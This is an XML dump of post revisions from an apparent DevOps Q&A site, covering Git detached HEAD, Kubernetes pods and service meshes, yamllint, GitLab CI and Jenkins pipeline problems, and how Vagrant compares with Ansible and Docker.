  <row Id="17209" PostHistoryTypeId="5" PostId="2282" RevisionGUID="d411669c-36e8-4288-9689-bc18a60b6318" CreationDate="2018-11-11T14:52:15.993" UserId="354" Comment="Cleaned up the English a bit." Text="&#xD;&#xA;When I check out a  specific commit hash, it goes to detached mode where HEAD POINTER can't point to a recent commit.&#xD;&#xA;What are the things we can do and what is the use of going detached head state?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17210" PostHistoryTypeId="24" PostId="2282" RevisionGUID="d411669c-36e8-4288-9689-bc18a60b6318" CreationDate="2018-11-11T14:52:15.993" Comment="Proposed by 354 approved by -1 edit id of 848" ContentLicense="CC BY-SA 4.0" />
  <row Id="17211" PostHistoryTypeId="5" PostId="2282" RevisionGUID="05a3c5a6-f58b-419b-a427-4c6bce31ed36" CreationDate="2018-11-11T14:52:15.993" UserId="40" Comment="added 5 characters in body" Text="When I checkout a specific commit hash, it goes to detached mode where HEAD POINTER can't point to a recent commit.&#xD;&#xA;&#xD;&#xA;What are the things we can do and what is the use of going detached head state in Git?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17215" PostHistoryTypeId="2" PostId="5413" RevisionGUID="b11a0893-d375-4408-a4f5-021d3c63bb6a" CreationDate="2018-11-11T19:10:09.887" UserId="10599" Text="A legitimate example of multiple containers in a POD is hinted at in [the official docs][1]:&#xA;&#xA;&gt; These co-located containers might form a single cohesive unit of&#xA;&gt; service–one container serving files from a shared volume to the&#xA;&gt; public, while a separate “sidecar” container refreshes or updates&#xA;&gt; those files.&#xA;&#xA;So you can use an nginx container that serves content out of the pod disk and another container that runs “git pull” in a loop with a short pause to refresh the html content on the pod disk. &#xA;&#xA;Of course people would typically build an image containing the latest html using “FROM nginx” at the top of the dockerfile so they wouldn’t normally do things the way I described. &#xA;&#xA;So the real answer is that most folks can and should avoid running multiple containers in a pod. If your starting from scratch building a typical new system you can keep things clean. &#xA;&#xA;Yet more and more people are moving legacy workloads onto kubernetes. Then you don’t have a choice about the actual application architecture. In which case you may find you need to run two or more processes that share resources wiring a pod. That’s a total anti-pattern for modern “share nothing” microservices but legacy code doesn’t follow modern best practices.&#xA;&#xA;&#xA;  [1]: https://kubernetes.io/docs/concepts/workloads/pods/pod-overview/" ContentLicense="CC BY-SA 4.0" />
  <row Id="17216" PostHistoryTypeId="2" PostId="5414" RevisionGUID="e6813c82-18d0-4855-9bfb-767516340643" CreationDate="2018-11-11T21:58:28.757" UserId="10599" Text="The accepted answer only talks about discovery. The metaphor of &quot;mesh&quot; is &quot;many interconnected things&quot;. We wouldn't describe DNS which is the original discovery service as a &quot;mesh&quot;. We might describe TCP/IP as a &quot;mesh technology&quot; as it is the technology that connects many things and performs useful services like resending lost packets and adapting to changes in available bandwidth. &#xD;&#xA;&#xD;&#xA;Modern &quot;service mesh&quot; technology doesn't just do discovery they let you write basic code then wrap it in something readymade that plugs-in mutual TSL, protocol upgrade (newest HTTP or better), applies security policies, fault tolerance such as retry on error, load shedding, circuit breakers, distributed tracing (header setting and traffic sampling), advanced load balancing, and much more.&#xD;&#xA;&#xD;&#xA;Imagine that the internet only had UDP protocol. You can send a packet but you didn't know it got there. You might in your application have to write a bunch of code to detect lost messages and request a resend. You might write a library to do that. You might compile all your apps against such libraries written in different languages (PHP, Java, C, Perl, ...). That would be terrible. You would want someone to invent TCP/IP that just does it for you. Then you can write simple code that &quot;just connects and sends&quot; and the &quot;TCP/IP service mesh&quot; will do its magic and make sure that the data gets `A-&gt;B` as fast as possible dealing with dropped messages and varying bandwidth conditions. &#xD;&#xA;&#xD;&#xA;Today we have folks writing microservices are having to use libraries for discovery, mutual TSL, protocol upgrade (older HTTP over newer HTTP or better), security policy, fault tolerance, load shedding, circuit breakers, distributing tracking, advanced load balancing, ... That's terrible, right? Shouldn't we just be able to deploy some new technology that sits between `A` and `B` and ensures that all the traffic `A-&gt;B` had all those features? You need a Service Mesh. &#xD;&#xA;&#xD;&#xA;In the kubernetes world things such [Linkerd][1] and [Envoy][2] provide the base technologies. They are smart proxies. You don't go `A-&gt;B` you go `A-&gt;P=&gt;P-&gt;B` where `-&gt;` are local connections and `=&gt;` is the intra-host connections that has all the new features. The local connection `-&gt;` is simply the entry into the mesh. Traffic in the mesh has all the new features you want. It will have a data plane (move the data) and a control plane (apply the desired policies for all the new advanced features). &#xD;&#xA;&#xD;&#xA;With Linkerd you run it as a demon set (one per container host). With Envoy it's small enough to deploy it as a sidecar container. So you have a &quot;local dumb connection&quot; within the VM host to the proxy but all traffic between VM hosts is smart proxy traffic with all the new features you need. &#xD;&#xA;&#xD;&#xA;Discovery is something a service mesh does. All containers just connect to a smart local proxy. The smart proxy looks at the header of the connection to see the logical name of the service you are connecting to and uses its own dynamic configuration distributed across its control plane to decide what physical location to proxy the traffic towards. What more interesting is all the very smart things it can do to the traffic that it sends over the wire. These are additonal technical services. All the connections are a mesh. The services are applied on the mesh. It is therefore a Service Mesh.  &#xD;&#xA;&#xD;&#xA;If you want to look at something in this space look at [istio.io][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://linkerd.io&#xD;&#xA;  [2]: https://www.envoyproxy.io&#xD;&#xA;  [3]: https://istio.io/docs/concepts/what-is-istio/" ContentLicense="CC BY-SA 4.0" />
  <row Id="17217" PostHistoryTypeId="5" PostId="5414" RevisionGUID="811dd0c2-ebed-4a40-b60b-b382de58eacd" CreationDate="2018-11-11T22:09:50.737" UserId="10599" Comment="deleted 87 characters in body" Text="The accepted answer only talks about discovery. The metaphor of &quot;mesh&quot; is &quot;many interconnected things&quot;. We wouldn't describe DNS which is the original discovery service as a &quot;mesh&quot;. We might describe TCP/IP as a &quot;mesh technology&quot; as it is the technology that connects many things and performs useful services like resending lost packets and adapting to changes in available bandwidth. &#xD;&#xA;&#xD;&#xA;Modern &quot;service mesh&quot; technology doesn't just do discovery they let you write basic code then wrap it in something readymade that plugs-in mutual TSL, protocol upgrade (newest HTTP or better), applies security policies, fault tolerance such as retry on error, load shedding, circuit breakers, distributed tracing (header setting and traffic sampling), advanced load balancing, and much more.&#xD;&#xA;&#xD;&#xA;Imagine that the internet only had UDP protocol. You can send a packet but you didn't know it got there. You might in your application have to write a bunch of code to detect lost messages and request a resend. You might write a library to do that. You might compile all your apps against such libraries written in different languages (PHP, Java, C, Perl, ...). That would be terrible. You would want someone to invent TCP/IP that just does it for you. Then you can write simple code that &quot;just connects and sends&quot; and the &quot;TCP/IP service mesh&quot; will do its magic and make sure that the data gets `A-&gt;B` as fast as possible dealing with dropped messages and varying bandwidth conditions. &#xD;&#xA;&#xD;&#xA;Today developers writing microservices are having to use libraries for discovery, mutual TSL, protocol upgrade (older HTTP over newer HTTP or better), security policy, fault tolerance, load shedding, circuit breakers, distributing tracking, advanced load balancing, ... That's terrible, right? Shouldn't we just be able to deploy some new technology that sits between `A` and `B` and ensures that all the traffic `A-&gt;B` had all those features? You need a Service Mesh. &#xD;&#xA;&#xD;&#xA;In the kubernetes world things such [Linkerd][1] and [Envoy][2] provide the base technologies. They are smart proxies. You don't go `A-&gt;B` you go `A-&gt;P=&gt;P-&gt;B` where `-&gt;` are local connection. A service has a data plane (move the data) provided by the smark proxies and an administration control plane (apply the desired policies by pushing configuration out to the smart proxies). &#xD;&#xA;&#xD;&#xA;With Linkerd you run it as a demon set (one per container host). With Envoy it's small enough to deploy it as a sidecar container. So you keep the &quot;local dumb connections&quot; within the VM host. All traffic between VM hosts is smart proxy traffic with all the new features you want applied by policy. &#xD;&#xA;&#xD;&#xA;Discovery is something a service mesh does. All containers just connect to a smart local proxy. The smart proxy looks at the header of the connection to see the logical name of the service you are connecting to. It then uses its own dynamic configuration distributed across its control plane to decide what physical location to proxy the traffic towards. What is more interesting is all the very smart things it can do to the traffic that it sends over the wire. These are additional technical services. All the interconnections are a mesh. The advanced services are applied to traffic in the mesh. It is therefore a Service Mesh.  &#xD;&#xA;&#xD;&#xA;If you want to look at something in this space look at [istio.io][3]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://linkerd.io&#xD;&#xA;  [2]: https://www.envoyproxy.io&#xD;&#xA;  [3]: https://istio.io/docs/concepts/what-is-istio/" ContentLicense="CC BY-SA 4.0" />
  <row Id="17225" PostHistoryTypeId="5" PostId="5411" RevisionGUID="c8f1828e-7f65-4e96-824e-0c4cccfa714f" CreationDate="2018-11-12T11:44:41.140" UserId="210" Comment="added 3 characters in body" Text="According to [the yamllint documentation](https://yamllint.readthedocs.io/en/stable/disable_with_comments.html#disabling-checks-for-a-specific-line) you need to add a special comment to the line -- `&lt;string-to-be-excluded&gt;  # yamllint disable-line rule:line-length`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    #defaults/main&#xD;&#xA;    firefox_checksum: sha512:49d776cfb5f42c6e5ea1a55a80d9f6bad223080b16baa0d39de63534c25e68340091b4e16be5355d565f81291cb94fb996f03ae7e3e4c7a28021b0a0929daf58 #yamllint disable-line rule:line-length" ContentLicense="CC BY-SA 4.0" />
  <row Id="17227" PostHistoryTypeId="2" PostId="5418" RevisionGUID="e573c0fa-ebbb-4bc2-8d35-aaa0027f8234" CreationDate="2018-11-12T12:35:11.123" UserId="10803" Text="&#xD;&#xA;&#xD;&#xA;I'm trying to zip my dist folder and post to it Azure's kudu zipdeploy endpoint but I keep getting this error regardless of the fact that I have installed a zipping package myself.&#xD;&#xA;&#xD;&#xA;My docker image: [weltn24/up-docker-node-chrome-headless][1] on tag: chrome-66_node-10.0_yarn-1.6.0&#xD;&#xA;&#xD;&#xA;The part that fails in my yml file:&#xD;&#xA;&#xD;&#xA;    build:&#xD;&#xA;      stage: build&#xD;&#xA;      script:&#xD;&#xA;        - apt-get install p7zip p7zip-full&#xD;&#xA;        - yarn install&#xD;&#xA;        - ./node_modules/@angular/cli/bin/ng build --prod&#xD;&#xA;        - cd dist/AngularTemplate; zip -r ../dist.zip *; cd ..; cd..&#xD;&#xA;      artifacts:&#xD;&#xA;        paths:&#xD;&#xA;          - dist.zip&#xD;&#xA;&#xD;&#xA;The commands on the 4'th line is failing with zip: command not found.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://hub.docker.com/r/weltn24/up-docker-node-chrome-headless/tags/" ContentLicense="CC BY-SA 4.0" />
  <row Id="17228" PostHistoryTypeId="1" PostId="5418" RevisionGUID="e573c0fa-ebbb-4bc2-8d35-aaa0027f8234" CreationDate="2018-11-12T12:35:11.123" UserId="10803" Text="zip: command not found after installing zip on NODE docker image, even after installing p7zip?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17229" PostHistoryTypeId="3" PostId="5418" RevisionGUID="e573c0fa-ebbb-4bc2-8d35-aaa0027f8234" CreationDate="2018-11-12T12:35:11.123" UserId="10803" Text="&lt;docker&gt;&lt;gitlab&gt;&lt;node.js&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17236" PostHistoryTypeId="5" PostId="5411" RevisionGUID="c3b81d3d-62ad-404e-be70-1fb15cfff77e" CreationDate="2018-11-12T13:40:35.517" UserId="354" Comment="add two spaces before yamlint to ensure that the answer is correct, HT @030" Text="According to [the yamllint documentation](https://yamllint.readthedocs.io/en/stable/disable_with_comments.html#disabling-checks-for-a-specific-line) you need to add a special comment to the line -- `&lt;string-to-be-excluded&gt;  #  yamllint disable-line rule:line-length`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    ---&#xD;&#xA;    #defaults/main&#xD;&#xA;    firefox_checksum: sha512:49d776cfb5f42c6e5ea1a55a80d9f6bad223080b16baa0d39de63534c25e68340091b4e16be5355d565f81291cb94fb996f03ae7e3e4c7a28021b0a0929daf58 #yamllint disable-line rule:line-length" ContentLicense="CC BY-SA 4.0" />
  <row Id="17237" PostHistoryTypeId="2" PostId="5421" RevisionGUID="936fdbb5-146c-4f1c-bebd-4cb07ebe2d26" CreationDate="2018-11-12T14:57:25.143" UserId="10803" Text="&#xD;&#xA;&#xD;&#xA;Correct script below:&#xD;&#xA;&#xD;&#xA;    build:&#xD;&#xA;      stage: build&#xD;&#xA;      script:&#xD;&#xA;        - apt-get install zip unzip&#xD;&#xA;        - yarn install&#xD;&#xA;        - ./node_modules/@angular/cli/bin/ng build --prod&#xD;&#xA;        - cd dist/AngularTemplate; zip -r ../../dist.zip *; cd ..; cd..&#xD;&#xA;      artifacts:&#xD;&#xA;        paths:&#xD;&#xA;          - dist.zip&#xD;&#xA;&#xD;&#xA;Was installing the wrong Zip package and then puttin my archive in the wrong folder.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17238" PostHistoryTypeId="2" PostId="5422" RevisionGUID="6dbc6c8d-397a-4b9c-90ec-45fdd596db7e" CreationDate="2018-11-12T15:37:53.727" UserId="6" Text="I am looking for a generic solution that will work in *any* public cloud, and even private data centers, that allows to utilize the cloud autoscaling to create a Kubernetes cluster.&#xD;&#xA;&#xD;&#xA;After some research, the available options that do not answer to the requirement above are -&#xD;&#xA;&#xD;&#xA;- `kops` which is AWS specific, and they are using their own AMI images.&#xD;&#xA;- `kubespray` (aka `kargo`) has no notion of autoscaling, executes Ansible on specific inventory of hosts.&#xD;&#xA;&#xD;&#xA;Is there some generic solution to deploy a Kubernetes cluster using cloud images (like AMI in AWS), but not specific to one public cloud and allows to use an elastic environment that scales automatically based on prepared images?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17239" PostHistoryTypeId="1" PostId="5422" RevisionGUID="6dbc6c8d-397a-4b9c-90ec-45fdd596db7e" CreationDate="2018-11-12T15:37:53.727" UserId="6" Text="Kubernetes auto scaling in cloud environment" ContentLicense="CC BY-SA 4.0" />
  <row Id="17240" PostHistoryTypeId="3" PostId="5422" RevisionGUID="6dbc6c8d-397a-4b9c-90ec-45fdd596db7e" CreationDate="2018-11-12T15:37:53.727" UserId="6" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17241" PostHistoryTypeId="50" PostId="4306" RevisionGUID="33ec9e86-301e-4fac-84df-cfc39b3ca7d6" CreationDate="2018-11-12T18:01:45.290" UserId="-1" />
  <row Id="17248" PostHistoryTypeId="2" PostId="5425" RevisionGUID="d8c01b3d-bf6a-4f4a-ae10-5a30e024b364" CreationDate="2018-11-12T19:30:34.537" UserId="10771" Text="I find myself in the same situation, where after publishing a build of an artifact, I want to tag the commit with a version number tag.&#xD;&#xA;&#xD;&#xA;One solution I'm considering is to create a service (either inside or outside of GitLab) that's capable of pushing a tag to any repository, but **can't do anything else**.  The service itself would possess credentials allowing it to write to repositories, so that each project build doesn't need to be granted write access to the repo.&#xD;&#xA;&#xD;&#xA;I like this solution because GitLab doesn't seem to offer a permission level that can push tags onto existing commits, without also granting the ability to push commits containing new content.  Generic write access is more permission than we need or want for this use case, so if we had it, we'd probably need to limit the scope by creating a user or a token *for each repository* with permissions to commit to just that repository.  Then we'd need to manage all those users or tokens over time, which seems like it could get unwieldy.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17249" PostHistoryTypeId="2" PostId="5426" RevisionGUID="f0c0f886-610c-4f28-bf4a-4606b5dc9f36" CreationDate="2018-11-12T20:13:50.887" UserId="7695" Text="With help from a Microsoft Engineer, we were able to resolve our issue.&#xD;&#xA;&#xD;&#xA;The trick to it was that the node that could communicate with the outside world was always the one that the kubernetes tunnel pod was running on.  This indicated a problem with communication between nodes.  The traceroute indicated that this, with no network security group traffic restrictions, was bouncing between the node1 ip, to the load balancer ip, back to the node2 ip.  &#xD;&#xA;&#xD;&#xA;we had a security rule that restricted all traffic that was not on our specifically approved list.&#xD;&#xA;&#xD;&#xA;One of the debug steps I had taken was to open all traffic between the load balancer ip to the load balancer ip.  However, this failed to consider the fact that the traffic was not from the load balancer to the load balancer, but from nodex to the load balancer then from the load balancer to nodey.  &#xD;&#xA;&#xD;&#xA;We added an inbound and outbound traffic rule that allowed traffic from the subnet ips that nodes can possibly be on to the load balancer, as well as within the same subnet for good meansure.  This resolved the issue.&#xD;&#xA;&#xD;&#xA;If that's confusing, I can provide images that show the new rules and explain it a little clearer, but I'm hoping that is clear enough for anyone who experiences a similar issue." ContentLicense="CC BY-SA 4.0" />
  <row Id="17250" PostHistoryTypeId="50" PostId="3999" RevisionGUID="91c71868-ad21-4fbb-856a-d02dd90d9238" CreationDate="2018-11-12T23:01:45.293" UserId="-1" />
  <row Id="17251" PostHistoryTypeId="2" PostId="5427" RevisionGUID="cacc0ca5-6535-4b0d-8e22-5417ddb65107" CreationDate="2018-11-13T01:10:18.063" UserId="10712" Text="I am trying to pass a variable input to creds from SiteID but unable to. I tried multiple expressions in pipeline script with quotes etc and none worked. I am learning and need suggestions.&#xD;&#xA;&#xD;&#xA;    node('master') {&#xD;&#xA;    stage('pass_the_salt'){&#xD;&#xA;	SiteID = &quot;bc1&quot;&#xD;&#xA;	println &quot;&lt;------ONE--------$SiteID-----&gt;&quot;&#xD;&#xA;	creds = &quot;site-{{ SiteID }}-db-user&quot;&#xD;&#xA;	println &quot;&lt;------TWO--------$creds-----&gt;&quot;&#xD;&#xA;        }&#xD;&#xA;	return &quot;done&quot;&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="17252" PostHistoryTypeId="1" PostId="5427" RevisionGUID="cacc0ca5-6535-4b0d-8e22-5417ddb65107" CreationDate="2018-11-13T01:10:18.063" UserId="10712" Text="Pass Variable in pipeline script" ContentLicense="CC BY-SA 4.0" />
  <row Id="17253" PostHistoryTypeId="3" PostId="5427" RevisionGUID="cacc0ca5-6535-4b0d-8e22-5417ddb65107" CreationDate="2018-11-13T01:10:18.063" UserId="10712" Text="&lt;jenkins-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17254" PostHistoryTypeId="5" PostId="5427" RevisionGUID="2e3060ea-0d58-4e4e-b802-2a6d6b91ddb5" CreationDate="2018-11-13T01:23:33.423" UserId="10712" Comment="added 95 characters in body; edited tags" Text="I am trying to pass a variable input to &quot;credentialsId: $creds&quot; from SiteID but unable to. I tried multiple expressions in pipeline script with quotes etc and none worked. I am learning and need suggestions. Below is code snippet.&#xD;&#xA;&#xD;&#xA;    node('master') {&#xD;&#xA;    stage('pass_the_salt'){&#xD;&#xA;    SiteID = &quot;bc1&quot;&#xD;&#xA;    creds = &quot;alip-$SiteID-user&quot;&#xD;&#xA;    try{&#xD;&#xA;	withCredentials([[$class: 'UsernamePasswordMultiBinding', credentialsId: $creds,&#xD;&#xA;        usernameVariable: 'DBUSER', passwordVariable: 'DBPASS']]) {&#xD;&#xA;	    }&#xD;&#xA;    }" ContentLicense="CC BY-SA 4.0" />
  <row Id="17255" PostHistoryTypeId="6" PostId="5427" RevisionGUID="2e3060ea-0d58-4e4e-b802-2a6d6b91ddb5" CreationDate="2018-11-13T01:23:33.423" UserId="10712" Comment="added 95 characters in body; edited tags" Text="&lt;jenkins-pipeline&gt;&lt;salt&gt;&lt;groovy&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17256" PostHistoryTypeId="2" PostId="5428" RevisionGUID="3317e2a1-43d7-4023-92c5-b721f126bad9" CreationDate="2018-11-13T05:39:34.230" UserDisplayName="user5176" Text="I understand that *Ansible* is a [Configuration Management][1] (CM) tool for orchestrating, deploying (and continuously upgrading) software and conf via a special [YAML][2] format created for that software, and that Ansible actions can be done locally on the local machine via a locally executed Ansible playbook, or remotely for 1 or more machines by listing IP addresses for an Ansible playbook in an Ansible storage file and executing both the storage and the playbook (without needing to install Ansible on the one or more remote machines).&#xD;&#xA;&#xD;&#xA;I also understand that [Operating-System-Level-Virtualization][3] (&quot;Containerization&quot;) software like *Docker* (also utilizing YAML in a unique format) allows us to &quot;copy away&quot; containers of &quot;frozen; just-bake&quot; data, from one machine to 1 or more other machines to have a pre-processed data to work with and to change minorally per specific nneds to save time of repeatitive creation of that data in the container time and again.&#xD;&#xA;&#xD;&#xA;Sometimes when I read about either Ansible or Docker I come across mentions of *Vagrant* which is another software.&#xD;&#xA;&#xD;&#xA;I understand Vagrant to be a what I can call &quot;All-Level-Virtualization&quot; (operating-system + some stack above it), yet I'm not sure if that's correct.&#xD;&#xA;&#xD;&#xA;How does Vagrant is different than these two in principle (and also the term &quot;Vagrant box&quot; makes me to wonder if Vagrant is an actual &quot;competitor&quot; for Docker, is it?)&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Configuration_management&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/YAML&#xD;&#xA;  [3]: http://Operating-system-level%20virtualization" ContentLicense="CC BY-SA 4.0" />
  <row Id="17257" PostHistoryTypeId="1" PostId="5428" RevisionGUID="3317e2a1-43d7-4023-92c5-b721f126bad9" CreationDate="2018-11-13T05:39:34.230" UserDisplayName="user5176" Text="How does Vagrant differ from Ansible and Docker?" ContentLicense="CC BY-SA 4.0" />
  <row Id="17258" PostHistoryTypeId="3" PostId="5428" RevisionGUID="3317e2a1-43d7-4023-92c5-b721f126bad9" CreationDate="2018-11-13T05:39:34.230" UserDisplayName="user5176" Text="&lt;docker&gt;&lt;ansible&gt;&lt;terminology&gt;&lt;vagrant&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17260" PostHistoryTypeId="2" PostId="5429" RevisionGUID="28120bc6-dff8-4f5c-b83b-70ffe320678e" CreationDate="2018-11-13T07:23:44.037" UserId="3509" Text="Vagrant can complement Ansible and Docker. It is used to spin virtual machines inside which you install Docker and test your Ansible playbooks. You describe desired VM configuration with `Vagrantfile` and then spawn them with `vagrant up` command. Then Vagrant software downloads one of shared *boxes* (VM templates, like bare *ubuntu* or *centos*, or with preinstalled software like *laravel*), and provisions it (executes setup instructions). There are several provisioners, like simple shell, or Ansible.&#xD;&#xA;&#xD;&#xA;One of possible scenarios: you want to test `mysql:5.7.24` image inside `Docker 18.06.1-ce` on `Ubuntu 18.04`. So you:&#xD;&#xA;&#xD;&#xA; - Spin up `ubuntu/bionic64` box with Vagrant&#xD;&#xA; - Provision it with Ansible playbook that installs Docker `18.06.1-ce`&#xD;&#xA; - Start Docker container based on `mysql:5.7.24` image" ContentLicense="CC BY-SA 4.0" />
  <row Id="17261" PostHistoryTypeId="5" PostId="5428" RevisionGUID="6d773187-9742-4ac2-bef5-89cce987f3a6" CreationDate="2018-11-13T07:30:34.590" UserDisplayName="user5176" Comment="deleted 1 character in body" Text="I understand that *Ansible* is a [Configuration Management][1] (CM) tool for orchestrating, deploying (and continuously upgrading) software and conf via a special [YAML][2] format created for that software, and that Ansible actions can be done on the local machine via a locally executed Ansible playbook, or remotely for 1 or more machines by listing IP addresses for an Ansible playbook in an Ansible storage file and executing both the storage and associated playbook (without needing to install Ansible on the one or more remote machines).&#xD;&#xA;&#xD;&#xA;I also understand that [Operating-System-Level-Virtualization][3] (&quot;Containerization&quot;) software like *Docker* (also utilizing YAML in a unique format) allows us to &quot;copy away&quot; containers of &quot;frozen; just-bake&quot; data, from one machine to 1 or more other machines to have a pre-processed data to work with and to change minorally per specific nneds to save time of repeatitive creation of that data in the container time and again.&#xD;&#xA;&#xD;&#xA;Sometimes when I read about either Ansible or Docker I come across mentions of *Vagrant* which is another software.&#xD;&#xA;&#xD;&#xA;I understand Vagrant to be a what I can call &quot;All-Level-Virtualization&quot; (operating-system + some stack above it), yet I'm not sure if that's correct.&#xD;&#xA;&#xD;&#xA;How does Vagrant is different than these two in principle (and also the term &quot;Vagrant box&quot; makes me to wonder if Vagrant is an actual &quot;competitor&quot; for Docker, is it?)&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Configuration_management&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/YAML&#xD;&#xA;  [3]: http://Operating-system-level%20virtualization" ContentLicense="CC BY-SA 4.0" />
  <row Id="17262" PostHistoryTypeId="2" PostId="5430" RevisionGUID="0ae4a4d1-9fc2-458f-b783-93526dd59ffd" CreationDate="2018-11-13T10:07:40.190" UserId="10820" Text="How to pass upstream build number to downstream job in Pipeline job using (Trigger parameter build on other projects) ? &#xD;&#xA;&#xD;&#xA;Agenda: To pass upstream job build number to downstream job to download upstream artefacts in downstream, here's my Jenkins pipeline script&#xD;&#xA;&#xD;&#xA;Upstream job script:&#xD;&#xA;&#xD;&#xA;    node &#xD;&#xA;    {&#xD;&#xA;        stage('Build parameters')&#xD;&#xA;        {&#xD;&#xA;        properties([parameters([string(defaultValue: '***', description: '', name: 'version', trim: false)])])&#xD;&#xA;        }/*&#xD;&#xA;        echo env.BUILD_NUMBER&#xD;&#xA;        def Latest_Build_Number=env.BUILD_NUMBER&#xD;&#xA;        build job: 'Downstream', parameters: [[$class: 'StringParameterValue', name: 'Latest_Build_Number', value: 'env.BUILD_NUMBER', propagate:false]]    &#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    **Downstream job script**:&#xD;&#xA;    node &#xD;&#xA;    {&#xD;&#xA;        stage('Downstream')&#xD;&#xA;        {&#xD;&#xA;        properties([[$class: 'ScannerJobProperty', doNotScan: false], parameters([string(defaultValue: '', description: '', name: 'Latest_Build_Number', trim: false)])])&#xD;&#xA;    echo Latest_Build_Number&#xD;&#xA;    }&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    Error: &#xD;&#xA;    *[Pipeline] {&#xD;&#xA;    [Pipeline] properties&#xD;&#xA;    [Pipeline] }&#xD;&#xA;    [Pipeline] // node&#xD;&#xA;    [Pipeline] End of Pipeline&#xD;&#xA;    java.lang.UnsupportedOperationException: no known implementation of class hudson.model.JobProperty is named ScannerJobProperty&#xD;&#xA;        at org.jenkinsci.plugins.structs.describable.DescribableModel.resolveClass(DescribableModel.java:478)&#xD;&#xA;        at org.jenkinsci.plugins.structs.describable.DescribableModel.coerce(DescribableModel.java:402)&#xD;&#xA;        at org.jenkinsci.plugins.structs.describable.DescribableModel.coerceList(DescribableModel.java:514)&#xD;&#xA;        at org.jenkinsci.plugins.structs.describable.DescribableModel.coerce(DescribableModel.java:388)&#xD;&#xA;        at org.jenkinsci.plugins.structs.describable.DescribableModel.buildArguments(DescribableModel.java:341)&#xD;&#xA;        at org.jenkinsci.plugins.structs.describable.DescribableModel.instantiate(DescribableModel.java:282)&#xD;&#xA;        at org.jenkinsci.plugins.workflow.steps.StepDescriptor.newInstance(StepDescriptor.java:201)&#xD;&#xA;        at org.jenkinsci.plugins.workflow.cps.DSL.invokeStep(DSL.java:264)&#xD;&#xA;        at org.jenkinsci.plugins.workflow.cps.DSL.invokeMethod(DSL.java:178)&#xD;&#xA;        at org.jenkinsci.plugins.workflow.cps.CpsScript.invokeMethod(CpsScript.java:122)&#xD;&#xA;        at sun.reflect.GeneratedMethodAccessor237.invoke(Unknown Source)&#xD;&#xA;        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)&#xD;&#xA;        at java.lang.reflect.Method.invoke(Method.java:498)&#xD;&#xA;        at org.codehaus.groovy.reflection.CachedMethod.invoke(CachedMethod.java:93)&#xD;&#xA;        at groovy.lang.MetaMethod.doMethodInvoke(MetaMethod.java:325)&#xD;&#xA;        at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1213)&#xD;&#xA;        at groovy.lang.MetaClassImpl.invokeMethod(MetaClassImpl.java:1022)&#xD;&#xA;        at org.codehaus.groovy.runtime.callsite.PogoMetaClassSite.call(PogoMetaClassSite.java:42)&#xD;&#xA;        at org.codehaus.groovy.runtime.callsite.CallSiteArray.defaultCall(CallSiteArray.java:48)&#xD;&#xA;        at org.codehaus.groovy.runtime.callsite.AbstractCallSite.call(AbstractCallSite.java:113)&#xD;&#xA;        at org.kohsuke.groovy.sandbox.impl.Checker$1.call(Checker.java:157)&#xD;&#xA;        at org.kohsuke.groovy.sandbox.GroovyInterceptor.onMethodCall(GroovyInterceptor.java:23)&#xD;&#xA;        at org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SandboxInterceptor.onMethodCall(SandboxInterceptor.java:155)&#xD;&#xA;        at org.kohsuke.groovy.sandbox.impl.Checker$1.call(Checker.java:155)&#xD;&#xA;        at org.kohsuke.groovy.sandbox.impl.Checker.checkedCall(Checker.java:159)&#xD;&#xA;        at org.kohsuke.groovy.sandbox.impl.Checker.checkedCall(Checker.java:129)&#xD;&#xA;        at com.cloudbees.groovy.cps.sandbox.SandboxInvoker.methodCall(SandboxInvoker.java:17)*" ContentLicense="CC BY-SA 4.0" />
  <row Id="17263" PostHistoryTypeId="1" PostId="5430" RevisionGUID="0ae4a4d1-9fc2-458f-b783-93526dd59ffd" CreationDate="2018-11-13T10:07:40.190" UserId="10820" Text="Jenkins pipeline pass upstream build number to downstream job using Pipeline script" ContentLicense="CC BY-SA 4.0" />
  <row Id="17264" PostHistoryTypeId="3" PostId="5430" RevisionGUID="0ae4a4d1-9fc2-458f-b783-93526dd59ffd" CreationDate="2018-11-13T10:07:40.190" UserId="10820" Text="&lt;jenkins-pipeline&gt;&lt;jenkinsfile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="17268" PostHistoryTypeId="2" PostId="5432" RevisionGUID="8f1e3bf9-60a6-4fa5-bc11-3fb7a65b96b9" CreationDate="2018-11-13T15:38:38.210" UserId="4394" Text="The apiserver runs on master nodes. To get a list of all the master node IP's, this should help-&#xD;&#xA;&#xD;&#xA;    kubectl -n kube-system get po | grep -i apiserver | cut -f1 -d&quot; &quot; | xargs kubectl -n kube-system get po $1 -o=jsonpath=&quot;{.items[*].status.hostIP}&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Based on the version of Kubernetes you are running, you might need to update the location of the `hostIP` in the `jsonPath` parameter." ContentLicense="CC BY-SA 4.0" />
